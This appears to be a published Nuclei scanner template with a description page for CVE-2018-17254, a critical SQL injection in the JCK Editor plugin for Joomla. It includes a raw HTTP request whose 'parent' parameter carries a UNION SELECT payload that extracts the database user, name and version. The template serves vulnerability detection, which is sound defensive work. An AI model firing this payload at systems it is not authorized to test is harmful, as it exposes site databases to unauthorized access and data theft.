Joomla! JCK Editor SQL Injection

ID: CVE-2018-17254

Severity: critical

Author: Suman_Kar

Tags: cve,cve2018,packetstorm,edb,joomla,sqli,arkextensions,joomla\!

Description

The JCK Editor component 6.4.4 for Joomla! allows SQL Injection via the jtreelink/dialogs/links.php parent parameter.

YAML Source

id: CVE-2018-17254

info:
  name: Joomla! JCK Editor SQL Injection
  author: Suman_Kar
  severity: critical
  description: The JCK Editor component 6.4.4 for Joomla! allows SQL Injection via the jtreelink/dialogs/links.php parent parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: Update or remove the affected plugin.
  reference:
    - http://packetstormsecurity.com/files/161683/Joomla-JCK-Editor-6.4.4-SQL-Injection.html
    - https://www.exploit-db.com/exploits/45423/
    - https://github.com/Nickguitar/Joomla-JCK-Editor-6.4.4-SQL-Injection
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17254
    cwe-id: CWE-89
    epss-score: 0.81623
    epss-percentile: 0.9836
    cpe: cpe:2.3:a:arkextensions:jck_editor:6.4.4:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: arkextensions
    product: jck_editor
    framework: joomla\!
  tags: cve,cve2018,packetstorm,edb,joomla,sqli,arkextensions,joomla\!
variables:
  num: "999999999"

http:
  - raw:
      - |
        GET /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5({{num}})),NULL,NULL,NULL,NULL,NULL--%20aa HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}

    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'
# digest: 4b0a00483046022100a8966d9bd0cbaffbad8c088d2a202e66edb770f4560f3a5247dde17c8507771d022100f6e5dec878c97fba3a737cd4437eb348e71aaacaf22e0ab52da6fa026fbecbfe:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-17254.yaml"

View on Github